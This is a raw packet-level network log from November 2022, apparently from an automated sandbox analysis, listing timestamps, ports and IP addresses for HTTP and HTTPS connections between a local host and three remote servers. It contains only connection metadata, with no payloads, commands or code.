Nov 3, 2022 12:46:49.260617971 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260658979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260700941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260701895 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260740995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260781050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260783911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260826111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260865927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260869026 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260909081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260950089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.260955095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.260989904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261030912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261030912 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261071920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261111975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261111975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261154890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261193991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261197090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261234999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261274099 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261276007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261317015 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261358023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261362076 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261399031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261435032 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261440039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261481047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261521101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261557102 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261563063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261601925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261604071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261645079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261691093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261727095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261733055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261775017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261800051 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261816978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261861086 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261866093 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.261902094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261924982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.261964083 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.262064934 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:50.979475975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:50.979521036 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:51.036633968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:51.047008038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:51.077369928 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:51.077455997 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:51.135004044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:51.145693064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:51.199434996 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.201893091 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:51.239063025 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.239229918 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.239510059 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.279175043 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279234886 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279263973 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279289961 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279316902 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279341936 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279367924 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279370070 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.279396057 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279409885 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.279427052 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279453993 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279483080 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.279509068 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.279531002 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.319041014 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319087982 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319113016 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319139004 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319159031 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319176912 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319195032 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319214106 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319231987 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319256067 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319264889 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.319277048 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319297075 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319317102 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319335938 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319356918 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319375992 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319394112 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319412947 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319432020 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319451094 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.319729090 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.358967066 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359002113 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359021902 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359035969 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359050989 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359067917 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359085083 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359108925 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359124899 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359141111 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359158993 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359174967 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359193087 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359209061 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359219074 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359225035 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359246016 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359262943 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359266996 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359283924 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359286070 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359306097 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359323025 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359339952 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359354973 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359358072 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359378099 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359392881 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359395981 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359419107 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359421015 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359440088 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359446049 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359462023 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359478951 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359494925 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359496117 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359515905 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359529972 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359533072 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359551907 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359565973 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359569073 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359587908 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359603882 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359616995 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359622002 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359639883 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359658003 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359658957 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359677076 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359684944 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359695911 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.359709024 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.359740019 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.399290085 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399343014 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399399996 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399429083 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399458885 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399493933 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399496078 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.399524927 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399542093 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.399555922 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399585962 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399606943 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.399615049 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399645090 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399653912 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.399676085 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399705887 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399735928 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399749041 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.399765968 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399780989 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.399796009 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399825096 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399853945 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399864912 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.399883986 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399893045 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.399914980 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399944067 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399975061 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.399986982 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400003910 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400015116 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400034904 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400065899 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400073051 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400094986 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400125027 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400154114 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400176048 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400185108 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400214911 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400224924 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400245905 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400250912 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400276899 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400305033 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400335073 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400355101 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400377035 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400388002 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400420904 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400450945 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400484085 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400490046 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400518894 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400522947 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400563955 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400593996 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400600910 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400624037 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400654078 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400684118 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400691986 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400713921 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400718927 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400757074 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400794983 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400804996 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400851965 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400893927 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400898933 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400944948 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.400980949 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.400990009 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440495014 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440557003 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440593004 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440629959 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440665007 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440700054 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440727949 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.440735102 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440768957 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440782070 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.440805912 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440809965 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.440840960 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440855026 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.440876961 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440911055 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440922022 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.440948009 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.440984011 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441020012 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441054106 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441056967 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441080093 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441162109 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441204071 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441237926 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441252947 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441272974 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441277027 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441308022 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441343069 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441369057 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441386938 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441404104 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441411018 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441440105 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441481113 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441519022 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441520929 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441589117 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441623926 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441641092 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441658974 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441662073 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441694975 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441730022 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441745996 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441766024 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441801071 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441836119 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441843987 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441875935 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441880941 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441911936 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441947937 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.441960096 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.441982985 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442017078 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442030907 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.442053080 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442086935 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442095995 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.442123890 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442159891 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442194939 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442203045 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.442229986 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442241907 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.442265987 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442300081 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442310095 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:51.442332983 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:51.442378044 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:52.198743105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:52.198743105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:52.255803108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:52.266124010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:52.329694986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:52.397799969 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:52.397907972 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:52.454818010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:52.465025902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:52.517224073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:52.551196098 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.551275969 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.551436901 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.553636074 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.553670883 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.637597084 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.637825966 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.641108990 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.641119003 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.641436100 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.659599066 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.659648895 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.692193031 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.692238092 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.692379951 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.692403078 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.722825050 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.722940922 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.723047018 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.723067045 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.723087072 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.723135948 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.754770994 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.754998922 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.755064011 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.755095959 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.755167961 CET	49706	443	192.168.2.6	185.220.204.64
